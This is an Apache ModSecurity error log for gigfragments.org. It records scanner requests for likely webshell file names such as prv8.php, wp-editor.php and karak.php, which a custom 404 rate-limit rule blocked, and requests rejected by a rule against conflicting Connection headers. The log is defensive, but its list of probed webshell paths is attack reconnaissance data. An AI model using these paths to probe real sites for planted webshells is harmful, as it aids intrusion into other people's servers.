[Thu Feb 26 02:02:16.785776 2026] [:error] [pid 49554:tid 49609] [client 20.220.213.31:39915] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aZ85KNtlDT3cCGsQMTc8NAAAAAA"]
[Thu Feb 26 02:02:18.784923 2026] [:error] [pid 49770:tid 49836] [client 20.220.213.31:39887] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aZ85Ki7xhdZV4TFeNytlsQAAAIo"]
[Thu Feb 26 02:02:23.590435 2026] [:error] [pid 49555:tid 49678] [client 20.220.213.31:39810] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/muzu.php"] [unique_id "aZ85L9w3_NsD2xC15YbvDgAAAE8"]
[Thu Feb 26 02:02:25.672069 2026] [:error] [pid 49556:tid 49644] [client 20.220.213.31:39888] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class3.php"] [unique_id "aZ85MZjk27yQt3CGcmiSnQAAAMg"]
[Thu Feb 26 02:02:50.741376 2026] [:error] [pid 49556:tid 49639] [client 20.220.213.31:39930] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aZ85Spjk27yQt3CGcmiS1gAAAMM"]
[Thu Feb 26 02:02:51.984028 2026] [:error] [pid 49770:tid 49840] [client 20.220.213.31:39884] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aZ85Sy7xhdZV4TFeNytmIQAAAI4"]
[Thu Feb 26 02:03:04.840559 2026] [:error] [pid 49770:tid 49835] [client 20.220.213.31:39931] [client 20.220.213.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aZ85WC7xhdZV4TFeNytmSgAAAIk"]
[Thu Feb 26 02:52:49.994589 2026] [:error] [pid 49555:tid 49660] [client 43.140.247.223:50996] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZ9FAdw3_NsD2xC15YYIDAAAAEQ"]
[Thu Feb 26 08:47:54.559161 2026] [:error] [pid 25311:tid 25319] [client 43.166.244.192:40248] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZ-YOtfdM__yZAgJFSv8JgAAAYU"]
[Thu Feb 26 10:14:14.019523 2026] [:error] [pid 3883:tid 3892] [client 43.167.241.46:45702] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZ-sduA33x90V6yYHajunwAAAUY"]
[Thu Feb 26 11:29:03.211352 2026] [:error] [pid 55051:tid 55057] [client 13.70.40.215:26294] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aZ-9_wmK1w2kZvh5eLHNPgAAAIM"]
[Thu Feb 26 11:29:03.687059 2026] [:error] [pid 25311:tid 25328] [client 13.70.40.215:22957] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aZ-9_9fdM__yZAgJFStx0QAAAY4"]
[Thu Feb 26 11:29:04.202780 2026] [:error] [pid 55051:tid 55060] [client 13.70.40.215:32282] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aZ--AAmK1w2kZvh5eLHNPwAAAIY"]
[Thu Feb 26 11:29:04.680054 2026] [:error] [pid 54991:tid 55023] [client 13.70.40.215:26258] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aZ--AN4Zx-mJ8gbRB2h7dwAAAEM"]
[Thu Feb 26 15:00:21.929464 2026] [:error] [pid 20419:tid 20443] [client 101.33.66.34:39480] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZ_vhe3DVDvMfTYYUBW9agAAAdU"]
[Thu Feb 26 15:28:36.511129 2026] [:error] [pid 25311:tid 25314] [client 182.42.105.144:48083] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZ_2JNfdM__yZAgJFSsjKwAAAYA"]
[Thu Feb 26 15:45:15.740206 2026] [:error] [pid 55122:tid 55125] [client 20.151.2.242:28617] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZ_6C4LiR0OfjFxvcN_a1wAAAME"]
[Thu Feb 26 15:45:16.884246 2026] [:error] [pid 3883:tid 3892] [client 20.151.2.242:28651] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZ_6DOA33x90V6yYHaiw-AAAAUY"]
[Thu Feb 26 15:45:18.671455 2026] [:error] [pid 20419:tid 20426] [client 20.151.2.242:28552] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZ_6Du3DVDvMfTYYUBXN7AAAAcQ"]
[Thu Feb 26 15:45:20.382833 2026] [:error] [pid 25311:tid 25326] [client 20.151.2.242:28551] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZ_6ENfdM__yZAgJFSsrGQAAAYw"]
[Thu Feb 26 15:45:21.410370 2026] [:error] [pid 25311:tid 25327] [client 20.151.2.242:28642] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aZ_6EdfdM__yZAgJFSsrHAAAAY0"]
[Thu Feb 26 15:45:23.664658 2026] [:error] [pid 3883:tid 3888] [client 20.151.2.242:28623] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aZ_6E-A33x90V6yYHaixOwAAAUI"]
[Thu Feb 26 15:45:25.098605 2026] [:error] [pid 3883:tid 3886] [client 20.151.2.242:28559] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aZ_6FeA33x90V6yYHaixRAAAAUA"]
[Thu Feb 26 15:45:25.847076 2026] [:error] [pid 55618:tid 55621] [client 20.151.2.242:28619] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aZ_6FR61Vrh12f_8oWSiSwAAAQA"]
[Thu Feb 26 15:45:27.085462 2026] [:error] [pid 3883:tid 3906] [client 20.151.2.242:28581] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aZ_6F-A33x90V6yYHaixUAAAAVQ"]
[Thu Feb 26 15:45:30.487689 2026] [:error] [pid 25311:tid 25338] [client 20.151.2.242:28656] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aZ_6GtfdM__yZAgJFSsrJgAAAZg"]
[Thu Feb 26 15:45:31.059869 2026] [:error] [pid 54991:tid 55032] [client 20.151.2.242:28625] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aZ_6G94Zx-mJ8gbRB2ifSgAAAEw"]
[Thu Feb 26 15:45:31.954591 2026] [:error] [pid 25311:tid 25319] [client 20.151.2.242:28670] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aZ_6G9fdM__yZAgJFSsrLAAAAYU"]
[Thu Feb 26 15:45:32.683046 2026] [:error] [pid 55122:tid 55148] [client 20.151.2.242:28562] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aZ_6HILiR0OfjFxvcN_a4QAAANg"]
[Thu Feb 26 15:45:33.871877 2026] [:error] [pid 55051:tid 55060] [client 20.151.2.242:28639] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aZ_6HQmK1w2kZvh5eLH47wAAAIY"]
[Thu Feb 26 15:45:35.123226 2026] [:error] [pid 55122:tid 55143] [client 20.151.2.242:28661] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aZ_6H4LiR0OfjFxvcN_a4gAAANM"]
[Thu Feb 26 15:45:36.101606 2026] [:error] [pid 20419:tid 20445] [client 20.151.2.242:28649] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aZ_6IO3DVDvMfTYYUBXOHAAAAdc"]
[Thu Feb 26 15:45:37.446509 2026] [:error] [pid 3883:tid 3909] [client 20.151.2.242:28608] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aZ_6IeA33x90V6yYHaixigAAAVc"]
[Thu Feb 26 15:45:39.064404 2026] [:error] [pid 25311:tid 25327] [client 20.151.2.242:28558] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aZ_6I9fdM__yZAgJFSsrOQAAAY0"]
[Thu Feb 26 15:45:40.377633 2026] [:error] [pid 20419:tid 20439] [client 20.151.2.242:28662] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aZ_6JO3DVDvMfTYYUBXOJQAAAdE"]
[Thu Feb 26 15:45:41.925477 2026] [:error] [pid 55618:tid 55634] [client 20.151.2.242:28671] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aZ_6JR61Vrh12f_8oWSiXgAAAQ0"]
[Thu Feb 26 15:45:45.165699 2026] [:error] [pid 20419:tid 20434] [client 20.151.2.242:28665] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZ_6Ke3DVDvMfTYYUBXOOQAAAcw"]
[Thu Feb 26 15:45:46.030037 2026] [:error] [pid 25311:tid 25329] [client 20.151.2.242:28654] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZ_6KtfdM__yZAgJFSsrTwAAAY8"]
[Thu Feb 26 15:45:47.832925 2026] [:error] [pid 25311:tid 25326] [client 20.151.2.242:28546] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZ_6K9fdM__yZAgJFSsrXQAAAYw"]
[Thu Feb 26 15:45:49.728086 2026] [:error] [pid 3883:tid 3894] [client 20.151.2.242:28647] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZ_6LeA33x90V6yYHaixywAAAUg"]
[Thu Feb 26 15:45:50.616978 2026] [:error] [pid 55051:tid 55069] [client 20.151.2.242:28643] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aZ_6LgmK1w2kZvh5eLH4-gAAAI8"]
[Thu Feb 26 15:45:51.766352 2026] [:error] [pid 25311:tid 25333] [client 20.151.2.242:28544] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aZ_6L9fdM__yZAgJFSsraAAAAZM"]
[Thu Feb 26 15:45:52.943128 2026] [:error] [pid 55618:tid 55628] [client 20.151.2.242:28622] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aZ_6MB61Vrh12f_8oWSiZgAAAQc"]
[Thu Feb 26 15:45:54.648128 2026] [:error] [pid 55618:tid 55644] [client 20.151.2.242:28573] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aZ_6Mh61Vrh12f_8oWSiZwAAARc"]
[Thu Feb 26 15:45:55.685453 2026] [:error] [pid 25311:tid 25323] [client 20.151.2.242:28616] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aZ_6M9fdM__yZAgJFSsrggAAAYk"]
[Thu Feb 26 15:45:56.755366 2026] [:error] [pid 55618:tid 55637] [client 20.151.2.242:28653] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aZ_6NB61Vrh12f_8oWSiagAAARA"]
[Thu Feb 26 15:46:00.594424 2026] [:error] [pid 54990:tid 55006] [client 20.151.2.242:28588] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aZ_6OHtr2qmt_mBhH2zr8wAAAA0"]
[Thu Feb 26 15:46:02.632476 2026] [:error] [pid 55618:tid 55638] [client 20.151.2.242:28490] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aZ_6Oh61Vrh12f_8oWSidAAAARE"]
[Thu Feb 26 15:46:04.078767 2026] [:error] [pid 55122:tid 55144] [client 20.151.2.242:28668] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aZ_6PILiR0OfjFxvcN_bAAAAANQ"]
[Thu Feb 26 15:46:04.860565 2026] [:error] [pid 20419:tid 20429] [client 20.151.2.242:28568] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aZ_6PO3DVDvMfTYYUBXOUQAAAcc"]
[Thu Feb 26 15:46:05.904621 2026] [:error] [pid 55051:tid 55078] [client 20.151.2.242:28666] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aZ_6PQmK1w2kZvh5eLH5DAAAAJg"]
[Thu Feb 26 15:46:07.152014 2026] [:error] [pid 55618:tid 55627] [client 20.151.2.242:28554] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aZ_6Px61Vrh12f_8oWSieAAAAQY"]
[Thu Feb 26 15:46:09.946333 2026] [:error] [pid 55051:tid 55076] [client 20.151.2.242:28598] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aZ_6QQmK1w2kZvh5eLH5FwAAAJY"]
[Thu Feb 26 15:46:11.811948 2026] [:error] [pid 55618:tid 55643] [client 20.151.2.242:28610] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aZ_6Qx61Vrh12f_8oWSigQAAARY"]
[Thu Feb 26 15:46:12.635515 2026] [:error] [pid 55051:tid 55068] [client 20.151.2.242:28646] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aZ_6RAmK1w2kZvh5eLH5IAAAAI4"]
